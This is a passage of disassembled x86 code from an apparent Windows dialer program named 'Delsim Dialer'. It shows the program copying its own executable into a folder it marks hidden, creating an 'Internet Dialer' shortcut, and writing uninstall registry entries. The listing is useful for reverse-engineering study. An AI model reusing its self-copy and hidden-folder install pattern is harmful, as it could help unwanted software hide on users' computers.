and ecx, 3
rep movsb
mov ecx, [esp+14h+arg_4]
mov esi, [esp+14h+arg_0]
add ecx, ecx
lea edi, [eax+ebx]
mov edx, ecx
mov eax, [esp+14h+var_4]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov word ptr [ebx+eax*2], 0
mov ecx, [ebp+0]
push ecx ; bstrString
call ds:SysFreeString
pop edi
mov [ebp+0], ebx
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
retn 8
sub_403920 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4039C0(HINSTANCE hInstance,LPCSTR lpString)
sub_4039C0 proc near ; CODE XREF: sub_4010C0+38Dp
psz = byte ptr -398h
var_198 = dword ptr -198h
var_194 = dword ptr -194h
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_16E = byte ptr -16Eh
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = byte ptr -160h
var_142 = byte ptr -142h
dwDisposition = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_112 = byte ptr -112h
bstrString = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
var_E6 = byte ptr -0E6h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_DC = dword ptr -0DCh
var_D8 = byte ptr -0D8h
var_BA = byte ptr -0BAh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = byte ptr -0ACh
var_8E = byte ptr -8Eh
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = byte ptr -80h
var_62 = byte ptr -62h
var_60 = dword ptr -60h
lpMem = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_36 = byte ptr -36h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_A = byte ptr -0Ah
lpMultiByteStr = dword ptr -8
hKey = dword ptr -4
hInstance = dword ptr 8
lpString = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 398h
mov ecx, [ebp+hInstance]
push ebx
push esi
push edi
lea eax, [ebp+psz]
push 200h ; cchBufferMax
push eax ; lpBuffer
xor ebx, ebx
push 71h ; uID
push ecx ; hInstance
mov [ebp+var_E4], ebx
mov [ebp+var_E0], ebx
mov [ebp+var_DC], ebx
mov [ebp+var_D8], bl
mov [ebp+var_BA], bl
mov [ebp+var_16C], ebx
mov [ebp+var_168], ebx
mov [ebp+var_164], ebx
mov [ebp+var_160], bl
mov [ebp+var_142], bl
mov [ebp+bstrString], ebx
mov [ebp+var_10C], ebx
mov [ebp+var_108], ebx
mov [ebp+var_104], bl
mov [ebp+var_E6], bl
call ds:LoadStringA ; LoadStringA
mov edx, [ebp+bstrString]
mov esi, eax
push edx ; bstrString
call ds:SysFreeString
cmp esi, ebx
jz short loc_403AB1
lea eax, [ebp+psz]
test eax, eax
jnz short loc_403A72
mov edi, ds:lstrlenA
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_403ABD
; ---------------------------------------------------------------------------
loc_403A72: ; CODE XREF: sub_4039C0+9Bj
mov edi, ds:lstrlenA
lea ecx, [ebp+psz]
push ecx ; lpString
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
lea edx, [ebp+psz]
push esi ; cchWideChar
push edx ; lpMultiByteStr
push eax ; lpWideCharStr
call sub_401560
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_403ABD
; ---------------------------------------------------------------------------
loc_403AB1: ; CODE XREF: sub_4039C0+91j
mov edi, ds:lstrlenA
mov [ebp+bstrString], ebx
loc_403ABD: ; CODE XREF: sub_4039C0+B0j
; sub_4039C0+EFj
mov eax, offset MultiByteStr ; "\\"
test eax, eax
jnz short loc_403ACA
xor esi, esi
jmp short loc_403AF2
; ---------------------------------------------------------------------------
loc_403ACA: ; CODE XREF: sub_4039C0+104j
push offset MultiByteStr ; "\\"
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
push esi ; cchWideChar
push offset MultiByteStr ; "\\"
push eax ; lpWideCharStr
call sub_401560
mov esi, eax
loc_403AF2: ; CODE XREF: sub_4039C0+108j
push esi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push esi
lea ecx, [ebp+bstrString]
call sub_403920
mov ecx, [ebp+hInstance]
push 7Ah ; bstrString
push ecx ; hInstance
lea ecx, [ebp+bstrString]
call sub_40A840
mov esi, [ebp+lpString]
mov [ebp+var_198], ebx
mov [ebp+var_194], ebx
mov [ebp+var_190], ebx
mov al, [esi]
mov [ebp+var_18C], bl
cmp al, 22h
mov [ebp+var_16E], bl
jnz short loc_403B42
inc esi
mov [ebp+lpString], esi
loc_403B42: ; CODE XREF: sub_4039C0+17Cj
mov cl, [esi]
mov eax, esi
cmp cl, bl
jz short loc_403B57
loc_403B4A: ; CODE XREF: sub_4039C0+195j
cmp cl, 22h
jz short loc_403B57
mov cl, [eax+1]
inc eax
cmp cl, bl
jnz short loc_403B4A
loc_403B57: ; CODE XREF: sub_4039C0+188j
; sub_4039C0+18Dj
sub eax, esi
lea ecx, [ebp+var_13C]
push eax ; int
push esi ; lpString2
mov [ebp+var_13C], ebx
mov [ebp+var_138], ebx
mov [ebp+var_134], ebx
mov [ebp+var_130], bl
mov [ebp+var_112], bl
call sub_40A350
mov eax, [ebp+hInstance]
lea edx, [ebp+psz]
push 200h ; cchBufferMax
push edx ; lpBuffer
push 7Ah ; uID
push eax ; hInstance
mov [ebp+var_B8], ebx
mov [ebp+var_B4], ebx
mov [ebp+var_B0], ebx
mov [ebp+var_AC], bl
mov [ebp+var_8E], bl
call ds:LoadStringA ; LoadStringA
mov ecx, [ebp+var_B8]
mov [ebp+lpMultiByteStr], eax
push ecx ; bstrString
call ds:SysFreeString
cmp [ebp+lpMultiByteStr], ebx
jz short loc_403C26
lea edx, [ebp+psz]
test edx, edx
jnz short loc_403BEA
xor eax, eax
push eax ; psz
call ds:SysAllocString
mov [ebp+var_B8], eax
jmp short loc_403C2C
; ---------------------------------------------------------------------------
loc_403BEA: ; CODE XREF: sub_4039C0+217j
lea eax, [ebp+psz]
push eax ; lpString
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
lea ecx, [ebp+psz]
push esi ; cchWideChar
push ecx ; lpMultiByteStr
push eax ; lpWideCharStr
call sub_401560
mov esi, [ebp+lpString]
push eax ; psz
call ds:SysAllocString
mov [ebp+var_B8], eax
jmp short loc_403C2C
; ---------------------------------------------------------------------------
loc_403C26: ; CODE XREF: sub_4039C0+20Dj
mov [ebp+var_B8], ebx
loc_403C2C: ; CODE XREF: sub_4039C0+228j
; sub_4039C0+264j
push 2Bh ; lpString
lea ecx, [ebp+var_8C]
mov [ebp+var_8C], ebx
mov [ebp+var_88], ebx
mov [ebp+var_84], ebx
mov [ebp+var_80], bl
mov [ebp+var_62], bl
call sub_40A680
cmp al, 1
jz short loc_403CCC
push 26h ; lpString
lea ecx, [ebp+var_8C]
call sub_40A680
cmp al, 1
jz short loc_403CCC
mov edx, off_40F284
mov eax, off_40F280
push edx ; lpValueName
push eax ; lpSubKey
push 80000002h ; cbData
lea ecx, [ebp+var_8C]
call sub_40A460
cmp al, 1
jz short loc_403CCC
cmp byte ptr [esi+1], 3Ah
jnz short loc_403C9D
push 3 ; int
push esi ; lpString2
lea ecx, [ebp+var_8C]
call sub_40A350
jmp short loc_403D15
; ---------------------------------------------------------------------------
loc_403C9D: ; CODE XREF: sub_4039C0+2CBj
mov ecx, offset aC ; "c:\\"
test ecx, ecx
jnz short loc_403CAA
xor esi, esi
jmp short loc_403D01
; ---------------------------------------------------------------------------
loc_403CAA: ; CODE XREF: sub_4039C0+2E4j
push offset aC ; "c:\\"
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx
push esi
push offset aC ; "c:\\"
jmp short loc_403CF9
; ---------------------------------------------------------------------------
loc_403CCC: ; CODE XREF: sub_4039C0+293j
; sub_4039C0+2A4j ...
mov edx, offset MultiByteStr ; "\\"
test edx, edx
jnz short loc_403CD9
xor esi, esi
jmp short loc_403D01
; ---------------------------------------------------------------------------
loc_403CD9: ; CODE XREF: sub_4039C0+313j
push offset MultiByteStr ; "\\"
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
push esi ; cchWideChar
push offset MultiByteStr ; "\\"
loc_403CF9: ; CODE XREF: sub_4039C0+30Aj
push eax ; lpWideCharStr
call sub_401560
mov esi, eax
loc_403D01: ; CODE XREF: sub_4039C0+2E8j
; sub_4039C0+317j
push esi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push esi
lea ecx, [ebp+var_8C]
call sub_403920
loc_403D15: ; CODE XREF: sub_4039C0+2DBj
mov [ebp+var_34], ebx
mov [ebp+var_30], ebx
mov [ebp+var_2C], ebx
mov [ebp+var_28], bl
mov [ebp+var_A], bl
mov [ebp+lpString], ebx
loc_403D27: ; CODE XREF: sub_4039C0+58Fj
mov eax, [ebp+var_34]
push eax ; bstrString
call ds:SysFreeString
mov ecx, [ebp+var_8C]
mov [ebp+var_34], ebx
push ecx ; BSTR
call ds:SysStringLen
mov edx, [ebp+var_8C]
push eax
push edx
lea ecx, [ebp+var_34]
call sub_403920
mov esi, lpString
cmp esi, ebx
jnz short loc_403D5F
xor esi, esi
jmp short loc_403D85
; ---------------------------------------------------------------------------
loc_403D5F: ; CODE XREF: sub_4039C0+399j
push esi ; lpString
call edi ; lstrlenA
mov edi, eax
inc edi
lea eax, [edi+edi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
push edi ; cchWideChar
push esi ; lpMultiByteStr
push eax ; lpWideCharStr
call sub_401560
mov edi, ds:lstrlenA
mov esi, eax
loc_403D85: ; CODE XREF: sub_4039C0+39Dj
push esi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push esi
lea ecx, [ebp+var_34]
call sub_403920
cmp [ebp+lpString], ebx
jle short loc_403DF3
mov eax, offset a_ ; "."
test eax, eax
jnz short loc_403DA8
xor esi, esi
jmp short loc_403DD6
; ---------------------------------------------------------------------------
loc_403DA8: ; CODE XREF: sub_4039C0+3E2j
push offset a_ ; "."
call edi ; lstrlenA
mov edi, eax
inc edi
lea eax, [edi+edi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
push edi ; cchWideChar
push offset a_ ; "."
push eax ; lpWideCharStr
call sub_401560
mov edi, ds:lstrlenA
mov esi, eax
loc_403DD6: ; CODE XREF: sub_4039C0+3E6j
push esi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push esi
lea ecx, [ebp+var_34]
call sub_403920
mov ecx, [ebp+lpString]
push ecx ; lpString
lea ecx, [ebp+var_34]
call sub_40A980
loc_403DF3: ; CODE XREF: sub_4039C0+3D9j
lea ecx, [ebp+var_34]
call sub_40A2D0
mov esi, ds:GetFileAttributesA
push eax ; lpFileName
call esi ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_403E2F
lea ecx, [ebp+var_34]
call sub_40A2D0
push eax ; lpPathName
call sub_40B16E
add esp, 4
test eax, eax
jnz loc_403F45
lea ecx, [ebp+var_34]
call sub_40A2D0
push eax ; lpFileName
call esi ; GetFileAttributesA
jmp short loc_403E37
; ---------------------------------------------------------------------------
loc_403E2F: ; CODE XREF: sub_4039C0+447j
test al, 10h
jz loc_403F45
loc_403E37: ; CODE XREF: sub_4039C0+46Dj
or al, 2
lea ecx, [ebp+var_34]
push eax ; dwFileAttributes
call sub_40A2D0
push eax ; lpFileName
call ds:SetFileAttributesA ; SetFileAttributesA
mov edx, offset MultiByteStr ; "\\"
test edx, edx
jnz short loc_403E56
xor esi, esi
jmp short loc_403E84
; ---------------------------------------------------------------------------
loc_403E56: ; CODE XREF: sub_4039C0+490j
push offset MultiByteStr ; "\\"
call edi ; lstrlenA
mov edi, eax
inc edi
lea eax, [edi+edi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
push edi ; cchWideChar
push offset MultiByteStr ; "\\"
push eax ; lpWideCharStr
call sub_401560
mov edi, ds:lstrlenA
mov esi, eax
loc_403E84: ; CODE XREF: sub_4039C0+494j
push esi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push esi
lea ecx, [ebp+var_34]
call sub_403920
mov eax, [ebp+var_B8]
push eax ; BSTR
call ds:SysStringLen
mov ecx, [ebp+var_B8]
push eax
push ecx
lea ecx, [ebp+var_34]
call sub_403920
mov edx, offset a_exe ; ".exe"
test edx, edx
jnz short loc_403EBF
xor esi, esi
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403EBF: ; CODE XREF: sub_4039C0+4F9j
push offset a_exe ; ".exe"
call edi ; lstrlenA
mov edi, eax
inc edi
lea eax, [edi+edi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
push edi ; cchWideChar
push offset a_exe ; ".exe"
push eax ; lpWideCharStr
call sub_401560
mov edi, ds:lstrlenA
mov esi, eax
loc_403EED: ; CODE XREF: sub_4039C0+4FDj
push esi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push esi
lea ecx, [ebp+var_34]
call sub_403920
lea ecx, [ebp+var_13C]
call sub_40A2D0
lea ecx, [ebp+var_34]
mov esi, eax
call sub_40A2D0
push eax ; lpString2
push esi ; lpString1
call ds:lstrcmpA ; lstrcmpA
test eax, eax
jz loc_403FB4
lea ecx, [ebp+var_13C]
call sub_40A2D0
push ebx ; bFailIfExists
lea ecx, [ebp+var_34]
mov esi, eax
call sub_40A2D0
push eax ; lpNewFileName
push esi ; lpExistingFileName
call ds:CopyFileA ; CopyFileA
test eax, eax
jnz short loc_403F57
loc_403F45: ; CODE XREF: sub_4039C0+45Cj
; sub_4039C0+471j
mov eax, [ebp+lpString]
inc eax
cmp eax, 0Ah
mov [ebp+lpString], eax
jl loc_403D27
jmp short loc_403FB4
; ---------------------------------------------------------------------------
loc_403F57: ; CODE XREF: sub_4039C0+583j
mov eax, [ebp+var_E4]
push eax ; bstrString
call ds:SysFreeString
lea ecx, [ebp+var_34]
mov [ebp+var_E4], ebx
call sub_40A2D0
cmp eax, ebx
mov [ebp+lpMultiByteStr], eax
jnz short loc_403F7D
xor esi, esi
jmp short loc_403FA0
; ---------------------------------------------------------------------------
loc_403F7D: ; CODE XREF: sub_4039C0+5B7j
push eax ; lpString
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ecx, [ebp+lpMultiByteStr]
mov eax, esp
push ebx ; CodePage
push esi ; cchWideChar
push ecx ; lpMultiByteStr
push eax ; lpWideCharStr
call sub_401560
mov esi, eax
loc_403FA0: ; CODE XREF: sub_4039C0+5BBj
push esi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push esi
lea ecx, [ebp+var_E4]
call sub_403920
loc_403FB4: ; CODE XREF: sub_4039C0+55Dj
; sub_4039C0+595j
cmp [ebp+lpString], 9
jle short loc_403FE4
mov edx, [ebp+var_34]
push edx ; bstrString
call ds:SysFreeString
mov eax, [ebp+var_13C]
mov [ebp+var_34], ebx
push eax ; BSTR
call ds:SysStringLen
mov ecx, [ebp+var_13C]
push eax
push ecx
lea ecx, [ebp+var_34]
call sub_403920
loc_403FE4: ; CODE XREF: sub_4039C0+5F8j
push 16h ; lpString
lea ecx, [ebp+var_60]
mov [ebp+var_60], ebx
mov [ebp+lpMem], ebx
mov [ebp+var_58], ebx
mov [ebp+var_54], bl
mov [ebp+var_36], bl
call sub_40A680
cmp al, 1
jz short loc_40402C
push 0Bh ; lpString
lea ecx, [ebp+var_60]
call sub_40A680
cmp al, 1
jz short loc_40402C
mov edx, off_40F268
mov eax, off_40F260
push edx ; lpValueName
push eax ; lpSubKey
lea ecx, [ebp+var_60]
call sub_40A600
cmp al, 1
jnz loc_404144
loc_40402C: ; CODE XREF: sub_4039C0+63Fj
; sub_4039C0+64Dj
mov ecx, offset MultiByteStr ; "\\"
test ecx, ecx
jnz short loc_404039
xor esi, esi
jmp short loc_404061
; ---------------------------------------------------------------------------
loc_404039: ; CODE XREF: sub_4039C0+673j
push offset MultiByteStr ; "\\"
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
push esi ; cchWideChar
push offset MultiByteStr ; "\\"
push eax ; lpWideCharStr
call sub_401560
mov esi, eax
loc_404061: ; CODE XREF: sub_4039C0+677j
push esi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push esi
lea ecx, [ebp+var_60]
call sub_403920
mov edx, [ebp+var_B8]
push edx ; BSTR
call ds:SysStringLen
push eax
mov eax, [ebp+var_B8]
push eax
lea ecx, [ebp+var_60]
call sub_403920
mov ecx, offset a_lnk ; ".lnk"
test ecx, ecx
jnz short loc_40409C
xor esi, esi
jmp short loc_4040C4
; ---------------------------------------------------------------------------
loc_40409C: ; CODE XREF: sub_4039C0+6D6j
push offset a_lnk ; ".lnk"
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
push esi ; cchWideChar
push offset a_lnk ; ".lnk"
push eax ; lpWideCharStr
call sub_401560
mov esi, eax
loc_4040C4: ; CODE XREF: sub_4039C0+6DAj
push esi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push esi
lea ecx, [ebp+var_60]
call sub_403920
push offset aInternetDialer ; "Internet Dialer"
lea ecx, [ebp+var_34]
call sub_40A2D0
push eax
lea ecx, [ebp+var_60]
call sub_40ACD0
mov edx, [ebp+var_16C]
push edx ; bstrString
call ds:SysFreeString
lea ecx, [ebp+var_60]
mov [ebp+var_16C], ebx
call sub_40A2D0
mov esi, eax
cmp esi, ebx
jnz short loc_404110
xor esi, esi
jmp short loc_404130
; ---------------------------------------------------------------------------
loc_404110: ; CODE XREF: sub_4039C0+74Aj
push esi ; lpString
call edi ; lstrlenA
mov edi, eax
inc edi
lea eax, [edi+edi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
push edi ; cchWideChar
push esi ; lpMultiByteStr
push eax ; lpWideCharStr
call sub_401560
mov esi, eax
loc_404130: ; CODE XREF: sub_4039C0+74Ej
push esi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push esi
lea ecx, [ebp+var_16C]
call sub_403920
loc_404144: ; CODE XREF: sub_4039C0+666j
cmp ds:byte_40D71A, bl
jz short loc_404172
lea ecx, [ebp+var_E4]
call sub_40A2D0
lea ecx, [ebp+var_16C]
mov esi, eax
call sub_40A2D0
push eax ; int
mov eax, [ebp+hInstance]
push esi ; lpData
push eax ; hInstance
call sub_404320
add esp, 0Ch
loc_404172: ; CODE XREF: sub_4039C0+78Aj
lea ecx, [ebp+dwDisposition]
lea edx, [ebp+hKey]
push ecx ; lpdwDisposition
push edx ; phkResult
push ebx ; lpSecurityAttributes
push 0F003Fh ; samDesired
push ebx ; dwOptions
push ebx ; lpClass
push ebx ; Reserved
push offset SubKey ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h ; hKey
mov [ebp+hKey], ebx
call ds:RegCreateKeyExA ; RegCreateKeyExA
test eax, eax
jnz loc_404248
mov edi, offset Data ; "Delsim Dialer"
or ecx, 0FFFFFFFFh
repne scasb
mov eax, [ebp+hKey]
mov esi, ds:RegSetValueExA
not ecx
dec ecx
push ecx ; cbData
push offset Data ; "Delsim Dialer"
push 1 ; dwType
push ebx ; Reserved
push offset aDisplayname ; "DisplayName"
push eax ; hKey
call esi ; RegSetValueExA
mov ecx, offset aU ; " -u"
test ecx, ecx
jnz short loc_4041D5
xor edi, edi
jmp short loc_404201
; ---------------------------------------------------------------------------
loc_4041D5: ; CODE XREF: sub_4039C0+80Fj
push offset aU ; " -u"
call ds:lstrlenA ; lstrlenA
mov edi, eax
inc edi
lea eax, [edi+edi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov eax, esp
push ebx ; CodePage
push edi ; cchWideChar
push offset aU ; " -u"
push eax ; lpWideCharStr
call sub_401560
mov edi, eax
loc_404201: ; CODE XREF: sub_4039C0+813j
push edi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push edi
lea ecx, [ebp+var_E4]
call sub_403920
lea ecx, [ebp+var_E4]
call sub_40A2D0
mov edx, eax
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx ; cbData
push edx ; lpData
mov edx, [ebp+hKey]
push 1 ; dwType
push ebx ; Reserved
push offset aUninstallstrin ; "UninstallString"
push edx ; hKey
call esi ; RegSetValueExA
mov eax, [ebp+hKey]
push eax ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_404248: ; CODE XREF: sub_4039C0+7DBj
push ebx ; dwItem2
push ebx ; dwItem1
push ebx ; uFlags
push 7FFFFFFFh ; wEventId
call ds:SHChangeNotify ; SHChangeNotify
mov eax, [ebp+lpMem]
cmp eax, ebx
jz short loc_404269
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], ebx
loc_404269: ; CODE XREF: sub_4039C0+89Bj
mov ecx, [ebp+var_60]
mov esi, ds:SysFreeString
push ecx ; bstrString
call esi ; SysFreeString
mov eax, [ebp+var_30]
cmp eax, ebx
jz short loc_404288
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+var_30], ebx
loc_404288: ; CODE XREF: sub_4039C0+8BAj
mov edx, [ebp+var_34]
push edx ; bstrString
call esi ; SysFreeString
lea ecx, [ebp+var_8C]
call sub_4042F0
lea ecx, [ebp+var_B8]
call sub_4042F0
lea ecx, [ebp+var_13C]
call sub_4042F0
lea ecx, [ebp+var_198]
call sub_4042F0
lea ecx, [ebp+bstrString]
call sub_4042F0
lea ecx, [ebp+var_16C]
call sub_4042F0
lea ecx, [ebp+var_E4]
call sub_4042F0
lea esp, [ebp-3A4h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4039C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4042F0 proc near ; CODE XREF: sub_4039C0+8D4p
; sub_4039C0+8DFp ...
push esi
mov esi, ecx
mov eax, [esi+4]
test eax, eax
jz short loc_40430A
push eax ; lpMem
call sub_40AF10
add esp, 4
mov dword ptr [esi+4], 0
loc_40430A: ; CODE XREF: sub_4042F0+8j
mov eax, [esi]
push eax ; bstrString
call ds:SysFreeString
pop esi
retn
sub_4042F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_404320(HINSTANCE hInstance,BYTE *lpData,int)
sub_404320 proc near ; CODE XREF: sub_4039C0+7AAp
psz = byte ptr -240h
dwDisposition = dword ptr -40h
bstrString = dword ptr -3Ch
lpMem = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
hKey = dword ptr -8
lpString = dword ptr -4
hInstance = dword ptr 8
lpData = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 240h
mov ecx, [ebp+hInstance]
push ebx
push esi
push edi
lea eax, [ebp+psz]
push 200h ; cchBufferMax
push eax ; lpBuffer
xor ebx, ebx
push 71h ; uID
push ecx ; hInstance
mov [ebp+bstrString], ebx
mov [ebp+lpMem], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], bl
mov [ebp+var_12], bl
call ds:LoadStringA ; LoadStringA
mov edx, [ebp+bstrString]
mov esi, eax
push edx ; bstrString
call ds:SysFreeString
mov edi, ds:lstrlenA
cmp esi, ebx
jz short loc_4043C6
lea eax, [ebp+psz]
test eax, eax
jnz short loc_404381
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_4043C9
; ---------------------------------------------------------------------------
loc_404381: ; CODE XREF: sub_404320+53j
lea ecx, [ebp+psz]
push ecx ; lpString
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
lea edx, [ebp+psz]
push 0FFFFFFFFh ; cbMultiByte
push edx ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, ebx
xor ebx, ebx
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_4043C9
; ---------------------------------------------------------------------------
loc_4043C6: ; CODE XREF: sub_404320+49j
mov [ebp+bstrString], ebx
loc_4043C9: ; CODE XREF: sub_404320+5Fj
; sub_404320+A4j
mov eax, offset MultiByteStr ; "\\"
test eax, eax
jnz short loc_4043D7
mov [ebp+lpString], ebx
jmp short loc_40440D
; ---------------------------------------------------------------------------
loc_4043D7: ; CODE XREF: sub_404320+B0j
push offset MultiByteStr ; "\\"
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push offset MultiByteStr ; "\\"
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov [ebp+lpString], ebx
xor ebx, ebx
loc_40440D: ; CODE XREF: sub_404320+B5j
mov ecx, [ebp+lpString]
push ecx ; lpString
call ds:lstrlenW ; lstrlenW
mov edi, eax
mov eax, [ebp+bstrString]
cmp eax, ebx
mov [ebp+var_10], edi
jnz short loc_404427
xor esi, esi
jmp short loc_404430
; ---------------------------------------------------------------------------
loc_404427: ; CODE XREF: sub_404320+101j
push eax ; BSTR
call ds:SysStringLen
mov esi, eax
loc_404430: ; CODE XREF: sub_404320+105j
lea eax, [esi+edi]
push eax ; ui
push ebx ; strIn
mov [ebp+var_C], eax
call ds:SysAllocStringLen
mov ebx, eax
test ebx, ebx
jz short loc_40448B
lea eax, [esi+esi]
mov esi, [ebp+bstrString]
mov ecx, eax
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+var_10]
mov esi, [ebp+lpString]
add ecx, ecx
lea edi, [eax+ebx]
mov edx, ecx
mov eax, [ebp+var_C]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov word ptr [ebx+eax*2], 0
mov ecx, [ebp+bstrString]
push ecx ; bstrString
call ds:SysFreeString
mov [ebp+bstrString], ebx
loc_40448B: ; CODE XREF: sub_404320+122j
mov edx, [ebp+hInstance]
push 7Ah ; bstrString
push edx ; hInstance
lea ecx, [ebp+bstrString]
call sub_40A840
lea eax, [ebp+dwDisposition]
lea ecx, [ebp+hKey]
push eax ; lpdwDisposition
push ecx ; phkResult
push 0 ; lpSecurityAttributes
push 0F003Fh ; samDesired
push 0 ; dwOptions
push 0 ; lpClass
push 0 ; Reserved
lea ecx, [ebp+bstrString]
call sub_40A2D0
push eax ; lpSubKey
push 80000001h ; hKey
call ds:RegCreateKeyExA ; RegCreateKeyExA
test eax, eax
jnz short loc_404512
mov edx, [ebp+lpData]
or ecx, 0FFFFFFFFh
mov edi, edx
mov esi, ds:RegSetValueExA
repne scasb
not ecx
dec ecx
push ecx ; cbData
push edx ; lpData
mov edx, [ebp+hKey]
push 1 ; dwType
push eax ; Reserved
push offset ValueName ; "uninstExe"
push edx ; hKey
call esi ; RegSetValueExA
mov edx, [ebp+arg_8]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx ; cbData
push edx ; lpData
push 1 ; dwType
push eax ; Reserved
mov eax, [ebp+hKey]
push offset aUninstshortcut ; "uninstShortcut"
push eax ; hKey
call esi ; RegSetValueExA
mov ecx, [ebp+hKey]
push ecx ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_404512: ; CODE XREF: sub_404320+1A4j
mov eax, [ebp+lpMem]
test eax, eax
jz short loc_404529
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], 0
loc_404529: ; CODE XREF: sub_404320+1F7j
mov edx, [ebp+bstrString]
push edx ; bstrString
call ds:SysFreeString
lea esp, [ebp-24Ch]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_404320 endp
; =============== S U B R O U T I N E =======================================
sub_404540 proc near ; CODE XREF: sub_4010C0+190p
; sub_4010C0+26Cp
push esi
mov esi, ecx
push 28h ; dwBytes
mov dword ptr [esi+4], 0
mov dword ptr [esi+8], 0Ah
call sub_40AE50
add esp, 4
mov [esi], eax
mov eax, esi
pop esi
retn
sub_404540 endp
; ---------------------------------------------------------------------------
align 10h
